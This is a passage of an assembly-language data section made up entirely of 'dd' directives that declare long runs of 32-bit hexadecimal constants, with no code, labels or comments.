		dd 0E57060BFh, 36252E17h, 3C144098h, 3883914h, 31EB3D80h
		dd 2E60F050h, 88C25DC8h, 0B284F250h, 69B30030h,	7C21BEFCh
		dd 0A60081FEh, 2951C1DAh, 9554522h, 5B3BA971h, 6A7D1C00h
		dd 66033902h, 980483B8h, 0DD3C1B4h, 3E88096h, 20C2AED0h
		dd 0E828001h, 264ECBD6h, 91396200h, 1911DE80h, 283B7B0Fh
		dd 66A9D0CEh, 0F6C68F03h, 0B02750C4h, 908AD93h,	31A80BB7h
		dd 4CE55021h, 84C7E076h, 9B00B2F4h, 0DC05810Eh,	1750464h
		dd 0E8353A8Bh, 6077935Bh, 1E2684C0h, 4F0691B9h,	7BE1419h
		dd 96D10ED3h, 0F8D58131h, 72DCE420h, 0DD014373h, 503CDFD4h
		dd 0C06B925Ch, 0E0647E58h, 2A4E9400h, 8E4131DEh, 0C6160079h
		dd 0FC21F0A6h, 585E6281h, 18D060A1h, 3949000Eh,	873C3513h
		dd 0FB7FEBEDh, 1E9E4D00h, 5F1CC58Ch, 1917B79h, 0B1E07627h
		dd 0D801D77Ch, 0F100B9DBh, 0D080FA55h, 2834840h, 0B2B343E6h
		dd 9140FF2Bh, 9875233Eh, 58ED1F00h, 848A19A6h, 68B00A1h
		dd 0F6DAF235h, 12002523h, 6E88CC3Fh, 8F9783h, 0D88AEAA7h
		dd 76D35D1Eh, 92246D00h, 850B867h, 0F6FA0026h, 7909DCC0h
		dd 6D071E9Fh, 0F33014E3h, 80507FE1h, 0D255F0h, 0BCC491E4h
		dd 8514CDCCh, 19F5E500h, 3069D174h, 838002Ah, 922EEDB2h
		dd 870059DDh, 0DC6CDA6h, 0B7CF52h, 0CAE7E523h, 631DF9AAh
		dd 0D32E8B00h, 0F4DB36A6h, 1CBB005Ah, 13774934h, 0BF70844Ah
		dd 9F194100h, 25B7EFEBh, 0D7E50CE7h, 0A270F0F5h, 1A347200h
		dd 0FDE9D93h, 1574C3h, 103961FAh, 76411FB5h, 0A584E101h
		dd 0DF7DA4F1h, 185A1F0h, 9AAF1AEAh, 0C85E3B17h,	8800E387h
		dd 5DCD9D15h, 7360147h,	99A582E1h, 8C3C3095h, 44E8CC13h
		dd 49DC7F0Fh, 97DAE021h, 0EDB2A1Fh, 244E40B3h, 706F5A0Eh
		dd 0A043A520h, 420444CAh, 0B0BAD1B8h, 557B4480h, 48110A67h
		dd 0A45759h, 2A569622h,	0C3001D30h, 0FC7F624Ch,	5E94E7h
		dd 108CCC90h, 3A128EDFh, 1D0C1CEAh, 0F8E378F7h,	643100A2h
		dd 0EDCF67F2h, 8CA071FBh, 893851EEh, 5CA0D041h,	292CD300h
		dd 0AEA9DE19h, 6F26300Ch, 0C205FA91h, 0D0FC0FE4h, 21DCA500h
		dd 4E0B82D5h, 23D400EAh, 0CDC8169Eh, 0A301978Ch, 0D7FC7A10h
		dd 8080B198h, 8E4D5242h, 990278F2h, 5CA3AA55h, 0F522E0EEh
		dd 17CB00E1h, 0BA8A2046h, 0D300D107h, 8E844145h, 0E48070h
		dd 0EAB6B727h, 7F686955h, 791AF00h, 21BB303Eh, 885600E0h
		dd 2E1EA770h, 0C6006F98h, 612CDDF2h, 13E006A3h,	36D625h
		dd 0D463B010h, 153F31D7h, 4FF585C4h, 0F0C3F96Dh, 870DC854h
		dd 2C13007Dh, 0E8209944h, 5500FCDFh, 689172C2h,	0F6A1Ah
		dd 0BB5080D1h, 66180238h, 60452B00h, 517561EAh,	392316B0h
		dd 0A7C50099h, 6DEFD0DAh, 6A737001h, 2F14E5D2h,	9AC370h
		dd 0C5A6E2D6h, 40D44FDh, 97118C60h, 0F109515Eh,	76ADD0h
		dd 6D98655h, 0CD3C288h,	57AE0200h, 5DEF7D0Dh, 0CDB50077h
		dd 19E97FF6h, 6BE2F221h, 61005478h, 6A252F16h, 897A6Eh
		dd 24C418B0h, 875CE6C9h, 58460701h, 0ADB2110Dh,	0F0ED1431h
		dd 1C443BC4h, 3456821h,	6FFD8B37h, 20E0AED2h, 9600F3EAh
		dd 3222C7B5h, 2E5D4FEBh, 167492D8h, 5E9C1E2Fh, 56FB005Bh
		dd 0ED2A366Ch, 70AA23Ch, 0A1981E69h, 0C170D240h, 6109001Fh
		dd 7DDF3165h, 0D603A240h, 0AC43556Fh, 0A9B79091h, 48B900C5h
		dd 3CF22BE7h, 84F01B89h, 497BEF03h, 0B843187Dh,	17C24DB4h
		dd 0EAD1A1Fh, 8F878730h, 93747141h, 0E318F812h,	60C00775h
		dd 9F7E5DDEh, 2F5B3FA9h, 47151A80h, 959B90F1h, 13FEBE48h
		dd 0A840EA80h, 16746D61h, 3C4A0035h, 2D3EF6Bh, 0A3009CD8h
		dd 9FD5E60Dh, 7F794E38h, 75BD0051h, 0F9856E6Ch,	721808E7h
		dd 401925A4h, 2651003Ah, 37422F1Ch, 7100B331h, 5CF58C1h
		dd 0DA2094h, 0BF97A2D2h, 0D3E363B7h, 15E290Eh, 5CCB0277h
		dd 9A5A406Ch, 84190008h, 0BEC57837h, 6D034010h,	8E77437Dh
		dd 81A7A087h, 595500CDh, 79E5AD23h, 0EF00FC5Ch,	0C7633D88h
		dd 0AFF9A8h, 0FD375F13h, 2D685DDh, 1B7EEE00h, 1C547DB5h
		dd 6D96009Eh, 0DFE139F7h, 6016EA5h, 0D84995C3h,	0C3089D2h
		dd 0F44A01C0h, 0EFF5A0DEh, 480430EEh, 0C5932B00h, 2D0D2E03h
		dd 0DE650332h, 0E3A11599h, 0AA1422A0h, 0CC56626h, 1EB98500h
		dd 453DCBh, 0FB171368h
		dd 0CCFAB73Ch, 25EEF00h, 3D3B5C4Ch, 5330C0BFh, 0DB9E2428h
		dd 0A25B5400h, 0A82EF346h, 0EC3401F1h, 282030F9h, 5B06E027h
		dd 60406124h, 0C7EE7A0Fh, 290895Dh, 9CB257Ch, 0ACCE7514h
		dd 5338480h, 0EBFA7ABAh, 8F50633Bh, 0FE3B3EAEh,	2731F080h
		dd 4334D0h, 2F1B5EAAh, 5A4AEC40h, 8408843Dh, 3185D2DEh
		dd 327BC8C0h, 0FF741F82h, 234562Dh, 0AF56641Ch,	61EE7EE0h
		dd 0CA05A700h, 0BB1D783h, 7204B045h, 0DCCC1F2Ah, 185241BBh
		dd 0F0B3AF93h, 0F9FCC2FEh, 95B7A303h, 0B1D15127h, 14D8C51Eh
		dd 97493E13h, 0CF8C609Eh, 7C00AD29h, 0CDFF26C6h, 99261A7Fh
		dd 5596E066h, 337282Ch,	8773640h, 690870Bh, 8A1C5BB0h
		dd 38F124B8h, 0F04849E0h, 0D8EA4167h, 0DC04CE9Bh, 6B50900Eh
		dd 4ECCEC80h, 0E5C6001Bh, 0D0F2F7A8h, 0A318F6BCh, 0A1489099h
		dd 0FE5A2EBBh, 0B6170004h, 0ADD0482Ah, 4424720Fh, 0FB352069h
		dd 90571Eh, 0AE6353D3h,	59B4883Ch, 0ABCF200h, 45F1B387h
		dd 0EB5C0090h, 7372AE62h, 4A00B50Fh, 0B87DD0A1h, 14E4733h
		dd 9FDC30Eh, 0D07F79F9h, 63603130h, 0B1561AF0h,	0DF20019Eh
		dd 133447BDh, 6644245Dh, 0DD890D0Bh, 0AED420FDh, 78F6B8h
		dd 0F8F736B4h, 0C8266828h, 0A3FEA600h, 0B7726D9Bh, 86CD0038h
		dd 8A4B4036h, 5D04CA47h, 0D99FA8FDh, 581F5081h,	7776CF0h
		dd 34C805E9h, 0C9CA801Eh, 0D20B6E1Dh, 3C57DE1h,	0B73C9A72h
		dd 18EFD680h, 0E727020Fh, 4F7982E9h, 21F3CC0h, 833984B0h
		dd 772980D9h, 0A868CFDEh, 0E3CD004Ah, 0FDC88710h, 0C1E8B58Ch
		dd 0F042C300h, 0B09F64ABh, 121E3DA0h, 572E8E00h, 0C05AF83Ah
		dd 25000C90h, 0EED8B9C1h, 0A16655h, 63AC4A18h, 31D6E3DAh
		dd 19B28800h, 9C7399B8h, 0ED5F6C3h, 0FEA00ED1h,	2ACC6060h
		dd 6701A33Ah, 963F3379h, 7170D745h, 65502411h, 934D0E0Ch
		dd 13ABDA21h, 2CF860A5h, 3D813108h, 0D90F0014h,	8C493E5Ah
		dd 80887638h, 0BEAF4FDCh, 60FDF2h, 0AA177770h, 132836EFh
		dd 7FB0BA60h, 169F68h, 0DE67B046h, 5924D5EAh, 0E80E6B0Bh
		dd 0D1F80141h, 0C34B8EDh, 0F37EACh, 1B19841Ah, 0E478055Eh
		dd 8C413Dh, 16AE32DCh, 2C2F3Dh,	881CD3F4h, 0FCF30F51h
		dd 30765C00h, 0CD5B2A38h, 0B5C60011h, 0ACCA9808h, 0F3049F10h
		dd 15BB2BE9h, 222AD180h, 0D6140034h, 0EE0E9EF9h, 49003DA8h
		dd 20CB6170h, 0F383E3Bh, 5B08C2C1h, 537A0F20h, 2400809Ch
		dd 8C370C13h, 30BA1EDh,	0E407EF26h, 29E06AE7h, 0CC92A34Ch
		dd 0AF286171h, 6E029D8Fh, 9606CF2Bh, 0A17C40C2h, 3FE9B880h
		dd 0EC5E8F1Ch, 4E23AD4h, 3D8798B3h, 0D26488C0h,	20C62E04h
		dd 0DAE000FCh, 0EEF28CADh, 6736A11Eh, 2F0D9641h, 0B3C03EC3h
		dd 63A903A4h, 0C8B703ADh, 60E0B4B2h, 201EBD25h,	97FA7176h
		dd 3D0059D8h, 1FA86986h, 7C920032h, 717833A4h, 0CE188FE1h
		dd 0A9C08E11h, 0F65200D3h, 0EE100DEDh, 8700D032h, 3C1C7AA5h
		dd 33DBE61h, 785F16F3h,	61974B7Bh, 0F8CC8045h, 200B4FAh
		dd 5D69DC4Fh, 2ED36478h, 0AFA66Ah, 0A962CD0Fh, 7C9AFB44h
		dd 560CFFh, 0A814A576h,	2A1BDF2Dh, 0E3381D03h, 1FAD5464h
		dd 0C0655576h, 272ED398h, 39004FAAh, 86402643h,	0A92A37h
		dd 0EB6C63F7h, 993A8BEDh, 66002E71h, 0E7C132DDh, 0B008409Dh
		dd 81901D04h, 3DB14724h, 0ABB3101Bh, 0D400BB25h, 0AD322B46h
		dd 339F4Eh, 0AADB489Ah,	249B1410h, 73D3B21Ch, 0D091E3C1h
		dd 0C8808B79h, 9E7ADB41h, 38001685h, 0F028CA55h, 14412CDh
		dd 155689E4h, 0EC373E9Bh, 300B3F3h, 5468DD4Eh, 9C9179h
		dd 0D153A7AAh, 4BFD2FE5h, 714E4214h, 2D53F98h, 0CEABDEC1h
		dd 3BB480EBh, 307EF482h, 0DB1110ADh, 260097F5h,	75AA5031h
		dd 485B95BEh, 6839909Dh, 2366FA00h, 0BACF3D8Dh,	4FB4738h
		dd 162DACEDh, 0E91F5880h, 594D00EAh, 9899069Ch,	0BE07E0CCh
		dd 0F10E02CEh, 39A76700h, 382600DFh, 0FF08CA23h, 0A6E4F8CFh
		dd 57409500h, 14E5FA6Eh, 0DE7A3EE9h, 4F03CA4h, 0C95CE1h
		dd 33273BADh, 0BA783855h, 0D8043B8h, 81308B70h,	6F2C3C59h
		dd 0C70160F2h, 0BA068A73h, 0F4ADFC30h, 671914D2h, 8B01C9D0h
		dd 1210CD61h, 58C1C7D9h, 0FDE47069h, 9178B614h,	1B9009Ah
		dd 88AE7A61h, 0ACE8005Bh, 8D31E351h, 32051D5Eh,	0EE63DE17h
		dd 0E4EF32C0h, 93040054h, 0B74D119Bh, 0AA3EB165h, 0F7E089C5h
		dd 599CC830h, 896E00CFh, 4F3B0BBBh, 22393297h, 1C4380C9h
		dd 7E50A8F3h, 0AAEE00D3h, 80B7AE83h, 69F09257h,	4A8A0F0Fh
		dd 5E96C0DAh, 1039F60h,	0FDC4943Ah, 28AF2940h, 5CD517C8h
		dd 76A17800h, 16F118B4h, 3C4E64h, 796A8854h, 0D026EFEBh
		dd 0DC973439h, 0BFF30031h, 0BC91C100h, 72A4D13Ch, 4A9D1000h
		dd 0CA68E059h, 0FF1E0CC6h, 0CD4019CCh, 2400F496h, 3175C045h
		dd 637900AFh, 8EF42B36h, 0D700AE9Ah, 0C7152223h, 104B2F3h
		dd 30B1ED6Fh, 0D04F05FAh, 6C9A3465h, 2F2494E6h,	9900EF01h
		dd 4C75B98Ah, 824601BEh, 0F3EFBDB6h, 5458207Fh,	98199104h
		dd 0ADC0D693h, 6081AF18h, 3A0A388Eh, 7B0160F5h,	0EC697140h
		dd 0D880C84Eh, 972DE976h, 7800E8B5h, 0B8A64A15h, 0C8F8CEh
		dd 0DF3B18F1h, 733406D5h, 4615C300h, 4135CC62h,	0CF7FFEh
		dd 0B9400EC0h, 2BD98B0Ch, 53862800h, 46247C56h,	0CCB300AAh
		dd 223E9E4h, 4114726Bh,	0E9418BDh, 0E0DB598Fh, 8F60CC9h
		dd 0D05C0009h, 7E723E2Eh, 0F700F0E0h, 0B6702996h, 73992A8h
		dd 0E8FF6F58h, 30C5C01Fh, 6B005DE7h, 0EAD9A455h, 903E688Eh
		dd 6D510390h, 30F3EC38h, 407A66D1h, 927DF790h, 0D40089EEh
		dd 0FD2E177h, 0A0E85D28h, 0E674784h, 0F3AD9D08h, 0E2458AC4h
		dd 96037508h, 651336FFh, 977F9067h, 0C22A002Fh,	3EC1F840h
		dd 420072BDh, 5CA4C617h, 12A9DF64h, 2300C47h, 0BB2EC434h
		dd 0C5A6CC60h, 2BBD9F12h, 94244800h, 0E8DE89E8h, 0C32E00C9h
		dd 1CB20F3Ah, 0B9008FD3h, 784F7F22h, 0ED4B168h,	511A9652h
		dd 0B5E0721h, 0EFFC50D9h, 9E00C06Ah, 16BBFAEh, 976C252Ah
		dd 7D746260h, 13C3B600h, 0DC056459h, 0DE163D98h, 0D3610900h
		dd 27A70B23h, 0FAAF8707h, 3072DDEFh, 0B15C4049h, 897A0610h
		dd 0F09A01E3h, 7135E81Fh, 0B048FDh, 36A25664h, 3DEA76h
		dd 0D3A3234Ah, 0B24E310Bh, 67F9BD07h, 2160C83Eh, 0B00C8B43h
		dd 2CC303B0h, 0B81741CAh, 3C86ED88h, 14C6A903h,	0A82B54BEh
		dd 0FE204993h, 0A2F0006Fh, 1B3FBA10h, 901C0224h, 0B4A45CDDh
		dd 3B396F82h, 1BD61Eh, 0B07C6869h, 52009E8Eh, 17D0C0DEh
		dd 9009F7h, 99330856h, 0C9204F38h, 0E5F5FF00h, 8ABEC710h
		dd 0B9840235h, 3BC8AF0Ah, 6A402042h, 7C136398h,	0D4073F1Dh
		dd 0AEB08C06h, 4A29054Bh, 28FC0016h, 20B91ADAh,	76B3Ch
		dd 0CF5782F9h, 808FE7h,	9D1760FFh, 0EDAD451Ah, 0E13FB190h
		dd 80283F3Bh, 0A3411293h, 73DA632Ah, 2CB069h, 0C34878C9h
		dd 86366D40h, 3876DF1Eh, 2FEE7C80h, 727A7025h, 2F3174Ch
		dd 0C0C41DEFh, 9C6B92C2h, 8500B9F2h, 0D279762Dh, 7496A2A6h
		dd 0A128006Fh, 0FD88192Ah, 0A53FB862h, 4D39FD51h, 0D8688292h
		dd 0E1E34313h, 98D0844Dh, 0BDDD50CDh, 301B00BFh, 9E510801h
		dd 71009C43h, 678C535Ah, 4C876A2Ch, 7E3CE4FBh, 86D0CE0Bh
		dd 1A19DC20h, 41B8FCDAh, 0D596A602h, 601E2429h,	9B712Eh
		dd 20F143CCh, 996FC24Bh
		dd 0EB25C607h, 74F0491Ah, 7E3BBF44h, 0DA4100F3h, 0B24F357Bh
		dd 0FCA054F7h, 0B9F27443h, 981BCDE8h, 0E070BF49h, 315C53Dh
		dd 0ED8CC70Fh, 0E3A3E710h, 532DA1A0h, 9998E61h,	2024ACA9h
		dd 6E450727h, 401D25F6h, 0D91C9422h, 3D23C01Fh,	15EC1339h
		dd 7953CE0Ch, 0B351D8Ch, 0C1063EBFh, 482F5222h,	6E002578h
		dd 0C9A0C843h, 1E9E58C2h, 257DE76h, 15E73C2Fh, 4F962CC8h
		dd 4D27BF1Bh, 0EC690278h, 7D097725h, 572B4C80h,	9C00418Eh
		dd 85A3A635h, 99A1F9h, 0C7E664F8h, 6E9EDC3h, 120F56ECh
		dd 0E0D1357Eh, 8B137DB6h, 37B07Fh, 309EA58Fh, 1557D043h
		dd 2C58BF73h, 5FA400D1h, 33353706h, 0DAAF00E0h,	85A9EA9Eh
		dd 0B7004BE9h, 6E43F9B0h, 135C19Ch, 0DBF13761h,	0C386E394h
		dd 2B4E3A00h, 0DAF916B9h, 0D28C0004h, 3563E0D8h, 9A0062FFh
		dd 0CA0D30FDh, 0E68084Bh, 7BDCC750h, 21466420h,	2A0042F1h
		dd 0F9171A23h, 1FF890C5h, 0D447F4D7h, 0A74C02Bh, 0ABA2B919h
		dd 0F0908088h, 0DD25F44Ah, 2DBE6D0Ch, 0DE9708D5h, 4AE88021h
		dd 0DAB33AAEh, 0FC214300h, 1AAAE367h, 0E7943947h, 85E80900h
		dd 0B129A613h, 45B01900h, 0C00D52BBh, 18404E90h, 0C8ED50D8h
		dd 22D81F54h, 39A6D000h, 4FE61AF6h, 0A2F818D6h,	0B70A79A1h
		dd 14E3C400h, 379BC818h, 6CFE01AAh, 0F4A7F131h,	0B4F9FCAFh
		dd 15388883h, 0C0713E26h, 0CC31A40Ch, 0A57F3019h, 87F80683h
		dd 10141D2Fh, 33592300h, 804C458Fh, 0B03A7190h,	7FF7E58h
		dd 69C630C7h, 7BB41072h, 2F00BC3Eh, 4FC93477h, 381B6Dh
		dd 215C874Dh, 748D812Bh, 30C1AF03h, 0A058CD53h,	77B5A6h
		dd 0DE5CE2C9h, 0D6B189CBh, 6B087366h, 0E1980021h, 160D58E2h
		dd 552D4DF2h, 0EFEB0h, 7EA35102h, 357C9E96h, 0B30631DEh
		dd 18AB74h, 8EBA2B1Ch, 210DAF7Ch, 21800A5Ah, 0C7A3729h
		dd 0C631A777h, 570E4B38h, 98B4BDE3h, 2CAA9510h,	39A50F1h
		dd 9336A994h, 21990830h, 0EF1A272h, 1FF5E017h, 0DA52EF40h
		dd 0D20AF03Ch, 488E8632h, 0E4195700h, 6CA302B8h, 0E211188Bh
		dd 0D753620h, 6ABEF117h, 2D888390h, 50522719h, 399810h
		dd 0F1FC33BAh, 9D436021h, 9103FA71h, 74A8E818h,	608EE232h
		dd 1F0F6F3Fh, 408BE6h, 80FE5E77h, 0B3006BDBh, 58733253h
		dd 118234h, 6845D97Dh, 8B3655D2h, 6EC46407h, 0E4A0D033h
		dd 0F4CC29h, 0F3C2B752h, 0BC666C35h, 0E24FFB00h, 842FDBC5h
		dd 0ECFCE82Eh, 0C222000Fh, 6117A912h, 1F66B0E0h, 5C211808h
		dd 980151F0h, 90267E52h, 306CD5B4h, 200F269h, 5B36A463h
		dd 34129C3h, 0A0E6CCBEh, 21705A84h, 54887FBh, 0DD332E30h
		dd 0BB100E2Fh, 62239CD4h, 5B81FFC3h, 0D70898EBh, 0FEDD1E21h
		dd 6E2900A3h, 0CE6331BEh, 11008E80h, 0A1168823h, 0D85CDEACh
		dd 352FA978h, 480EFD0Ch, 2EFB11DCh, 799C9Bh, 5A2BBF89h
		dd 0E4E8C041h, 341E21C0h, 7479Dh, 5D6539BAh, 0A4B0A95Fh
		dd 0E8CB2100h, 542EFDD6h, 9C4754E2h, 0B834395h,	8818C228h
		dd 1CC49CD1h, 0C230EA40h, 540AD076h, 88020ABCh,	2124830Ch
		dd 779307EEh, 306F07E4h, 0E78236C9h, 0C8F9760Eh, 3031DC74h
		dd 0B0C63006h, 119CD29Ch, 88B3629Eh, 0C0209CD8h, 29FA619Ch
		dd 7D0A5F19h, 0C07B7ECBh, 2C4A5831h, 0B46F6500h, 0F00117Eh
		dd 0B9D3FD98h, 960C41h,	0FE91F7BCh, 0B5F5ABE6h,	0F3CBC50Eh
		dd 0FB68838Ch, 0C63DE86Bh, 9C0A1B12h, 830D8F7h,	0F6CA2183h
		dd 0A061003Dh, 9949F88Fh, 8BF87F46h, 0E322C51Dh, 75D8D700h
		dd 0E6862B16h, 6E460092h, 0E251DE83h, 47300F37h, 0D4A11897h
		dd 2F8B03FAh, 0C833CB68h, 0E5006078h, 4EC43CD0h, 669017BCh
		dd 21B20946h, 3CB80500h, 0A1F3C708h, 93BA0336h,	74ADBCF5h
		dd 80478938h, 60BEBD9Dh, 1DC0C94Eh, 405E3851h, 7F4250E0h
		dd 0C360731Bh, 0FAD2C551h, 7DAD30BBh, 4CE38811h, 0B6F3FD07h
		dd 9BCC16Fh, 0A821C087h, 0D6C84CCBh, 0AE8ABD0Fh, 1856C00Dh
		dd 30FE9457h, 45E0777Eh, 34502A3Ah, 48000734h, 5B08B8E1h
		dd 70F4537Bh, 7E5F18D0h, 0FF503099h, 0EE98751Eh, 0F2FE7645h
		dd 0F9C9441h, 1881DB56h, 60F48B71h, 688883FCh, 9088C91Bh
		dd 0EE22776h, 0E1CF7E7Ch, 80E8068Ah, 4C88C0B8h,	0D401D3D0h
		dd 0A8157741h, 4181FA53h, 222E63FDh, 69042076h,	0C2508A7Dh
		dd 860014A8h, 0A803E755h, 3527FEBh, 0F860645Ah,	4FCB9A47h
		dd 0DE554C06h, 54E9ADh,	4E054D57h, 6DDF1065h, 0B3E42D0Fh
		dd 67D5E0A1h, 0A9F15h, 1CCB3B36h, 0CE55335Fh, 87388638h
		dd 1709CA08h, 0F885EA67h, 0B02DF5C3h, 90B66137h, 327A1F01h
		dd 1D606CDh, 803118E1h,	0E7D12886h, 19BA2000h, 97EC4C00h
		dd 0A3EFA59Fh, 7F9901B7h, 7E64634Ah, 48ADF0CBh,	3D221106h
		dd 0E089C03Eh, 0F774A4h, 702BDEA5h, 0BF92ED1Fh,	0A3E0FC00h
		dd 0EC27A951h, 389F01B5h, 72A9E34h, 0E389438Dh,	0ADC080E4h
		dd 2D1CA063h, 0E5D8B697h, 156D390h, 6AC3420h, 801DCE99h
		dd 6C2ED6B9h, 0C0CDA4A7h, 157A5A80h, 0F9F2505Ch, 2A0EB000h
		dd 3858E518h, 0BCF801A8h, 9DBE17BFh, 0CB4080EDh, 44AA9FF5h
		dd 412E0666h, 0C81249A4h, 0C87CCD00h, 427F2D65h, 0A8E07B6h
		dd 0C72BA46Ah, 0E5544117h, 0AC96F041h, 94338403h, 0A0D2C62Dh
		dd 3AD31C1Dh, 0D18099FEh, 9DAB7F91h, 0B6149386h, 0B004852Ch
		dd 28CF52D2h, 890B1h, 7433794Fh, 0E21A539Dh, 2E69C200h
		dd 0ABC90C85h, 0B60F1801h, 362A30A5h, 4AEE9601h, 0BAB7FEEDh
		dd 35185880h, 0D4B87C32h, 40E1C900h, 8290A3E8h,	9E710323h
		dd 86C1FD1Eh, 0B92C200Eh, 20DBCAADh, 43572378h,	0CB8B18A4h
		dd 0C441C1h, 514A7BB8h,	0FB2B03C0h, 0E516B006h,	40AB3Dh
		dd 39270D76h, 4B9DADA1h, 19F0ED00h, 0B7D1C124h,	78C8C6E4h
		dd 373C51E1h, 0A1E90013h, 0D01FEF6Dh, 455D00C1h, 6358771Eh
		dd 3D07C8A6h, 0BBB0CF92h, 500984Ah, 0D3D15C90h,	497260C7h
		dd 8B9B2D28h, 0D6119FF5h, 80E84B49h, 519FAA1Dh,	0C508CC71h
		dd 0DA0E9021h, 2014344Bh, 0DFED2D10h, 692F18D3h, 57CBB89Dh
		dd 0B9651FE2h, 0E020A931h, 1BA9075h, 0C57767ABh, 0CC04984Bh
		dd 0BF0BEB33h, 648F6D0h, 0AE871D6h, 5664E88Eh, 0C90D80F4h
		dd 2086DE5h, 52F92D01h,	0F06929C1h, 5B348F4h, 0B245D0A8h
		dd 81A40074h, 0DB85D3CDh, 7216963Eh, 72187760h,	48591F50h
		dd 127A1834h, 18E386E2h, 9E8CA1D0h, 0C60F5E71h,	0B9BABECAh
		dd 218F3309h, 12E0966Ch, 30882694h, 0E5C170Fh, 0A26E444Bh
		dd 92385490h, 2D7900CCh, 0D874DB23h, 2003FDA5h,	7EA0E76Ah
		dd 0EEB0E719h, 15A23A83h, 90CC8B26h, 65332B07h,	1EADC709h
		dd 0DCD54080h, 0BC0039D0h, 93DA9E05h, 382608Bh,	0E5851FC2h
		dd 0D80E64B5h, 571735C3h, 0B6990Fh, 22EC40ADh, 829A012Dh
		dd 0B7D9C106h, 4AC456Bh, 10AABA58h, 0EE2380h, 0C65B5EA3h
		dd 2086BFA2h, 6B0086A0h, 0EEE45E9Bh, 0D49AFB09h, 2209A850h
		dd 0BC07D142h, 0E5A67056h, 4C009DB4h, 0DACE0609h, 15ACB21Eh
		dd 0E854657Ah, 29FC0078h, 28345750h, 0BFE4D3C1h, 0A8DDFE1Bh
		dd 0A0AEDA48h, 0AC0726A8h, 7A7C00B1h, 3E91A9E2h, 0F203896Ah
		dd 69943139h, 0B338DAFDh, 0EDD82380h, 5C5EA801h, 0EC58BAC6h
		dd 6ED9C59Eh, 0CCFB00A0h, 0DB0685CDh, 8F00E8A6h, 93F1F0E5h
		dd 77881Dh, 950C6825h, 0F719ACBDh, 61FD2B09h, 0A830208Ah
		dd 3C903514h, 1200B77Dh
		dd 9326B4EFh, 9D241F0Dh, 0B8283C47h, 87B9546h, 7148FA4Bh
		dd 76409EC4h, 82C44BDCh, 816D7D01h, 0B71E2249h,	1FD49440h
		dd 0AD9030F1h, 85B48D58h, 0A231BF7Fh, 0D8802092h, 399BDCFCh
		dd 5532355Ah, 8CA02DA8h, 0CCEB09EFh, 9FA8A54Ch,	2F4D9206h
		dd 1C53B21h, 2016817Ch,	8F630924h, 0CF7831h, 6EB9E0A1h
		dd 2E2B0702h, 0A8E87700h, 71DB1CEFh, 542AB84Dh,	411F282Ch
		dd 7DAC2069h, 0F856B044h, 0C929C1BEh, 9FCABA21h, 0F513D2C0h
		dd 0EB51F040h, 14267F32h, 0A472D399h, 75019C23h, 8948FB4Bh
		dd 9188E218h, 784B00DDh, 0CDE81C6Ah, 0ADF2C34Ah, 32221CB0h
		dd 35920CB7h, 0C3B08B56h, 40CBD93Ah, 4076F85Dh,	0B40CDE63h
		dd 29648592h, 0E4A5002Ch, 0F60D7712h, 0C3330D9h, 56008DEh
		dd 12EFD021h, 0E7CC0020h, 53EDEE3Eh, 0F269431Eh, 0A0094789h
		dd 0CEFB85D0h, 398C60ABh, 0AE30F3E5h, 4EBF7A00h, 33D717FFh
		dd 85342413h, 92B3C198h, 0E54848A4h, 0D781204h,	6432DA0Eh
		dd 12ECCF20h, 1F09009Eh, 18917AFEh, 766019FDh, 47D3CCE0h
		dd 0BC4450CDh, 2E177D34h, 993135h, 90A87B70h, 4B01AC13h
		dd 0BA496247h, 8882A371h, 464895D5h, 9CDCF8A0h,	0CE008192h
		dd 755891D3h, 9FE396h, 5DE97C47h, 212FD41Dh, 4D131CB2h
		dd 2440CDCAh, 0DA866DD3h, 560C0004h, 48E59CD4h,	1900A949h
		dd 0F98AE3AAh, 546EDCB5h, 0B39CA1h, 189EEC5Eh, 208A907Ah
		dd 21AA09CDh, 0FAEB0830h, 0AB1B0010h, 3E4AFD96h, 9E000BA8h
		dd 389559BAh, 286E51AAh, 0F8B8AD9Ah, 718D3CAh, 0E64F474Ah
		dd 3C0FA8A5h, 0A2084BFDh, 0B5F81657h, 0C4E70044h, 0B16DA8A7h
		dd 6FD019CFh, 0DBAEB3h,	0BEA127CAh, 26778EAh, 74F96F5Bh
		dd 0CC88AD61h, 5A1F3844h, 49CF0305h, 0D7F0C09Eh, 0AC002082h
		dd 767C91E6h, 0D09A4FADh, 0DD239861h, 9DEC5901h, 0A4189218h
		dd 0A0E088h, 2F1D8BEBh,	0E9A53D58h, 5C495401h, 0A9C5B169h
		dd 0DD4ED440h, 0A48C4CD9h, 0DEBC9626h, 0E35A2760h, 6469B248h
		dd 0C0A758A1h, 0D0AD1F10h, 2D7C2E84h, 609F4458h, 24E44B76h
		dd 70FCC148h, 4B00DE94h, 2E6326BFh, 11B935h, 0F052D3F6h
		dd 0AFC413AEh, 6C9D4F00h, 48FEEDE2h, 0B5F2281Ah, 0CDB90F70h
		dd 452EF3BAh, 0D0DA4304h, 0ACB83588h, 8CEA0C0h,	49647F88h
		dd 3200B089h, 18736F43h, 89C0B58Bh, 0ACE6A05Fh,	0D740B10h
		dd 0C037D1DDh, 546598Eh, 440A9CCBh, 0AC80940Ch,	70494034h
		dd 0FDA0098Eh, 0E8015871h, 4ECA4FABh, 0C1CA889Ch, 32ADCF83h
		dd 6405002Ch, 0B58FEF71h, 0B8E80033h, 95813BFCh, 307D775Ah
		dd 2C970B13h, 5D23483Ah, 6D733A00h, 12D37EF1h, 809E554Fh
		dd 0C0E3B284h, 5A2E812Dh, 0E818D929h, 0DA6C2052h, 0EC58048Ch
		dd 388A18A4h, 0EB9F0FE1h, 11C003CDh, 9450D339h,	4AE3A204h
		dd 0D441BE02h, 429C6517h, 326DF40h, 0F04148C6h,	0E8447719h
		dd 4E818A1h, 0D60D7312h, 215932D9h, 0FD12E3CCh,	30726Fh
		dd 0CAF7AE16h, 0D841C0h, 0DC5BD504h, 6252910Eh,	4DABDE0Ah
		dd 7698E4E2h, 603E4578h, 5CE1057h, 391DF378h, 0A79517D1h
		dd 7DBA0C8Ch, 0E95C8B4h, 2B6037FDh, 0F090D220h,	1278A813h
		dd 7930C37Dh, 0F95748AFh, 288248EBh, 8CE1A840h,	18EE9D7Eh
		dd 68913226h, 484DC58h,	0F462BAEBh, 15E8C112h, 0C02E03A4h
		dd 0FCDB218Ch, 0D180A855h, 98443FD6h, 201D6880h, 409C1534h
		dd 6FB848h, 0BA13DC2Eh,	7497A390h, 0D1B4B17Ch, 0DB81859h
		dd 0A69144ADh, 5943088h, 78D2CA40h, 305D4862h, 2437B111h
		dd 2032C322h, 2EC4C4FDh, 3145D2F3h, 10956D19h, 386FF0Dh
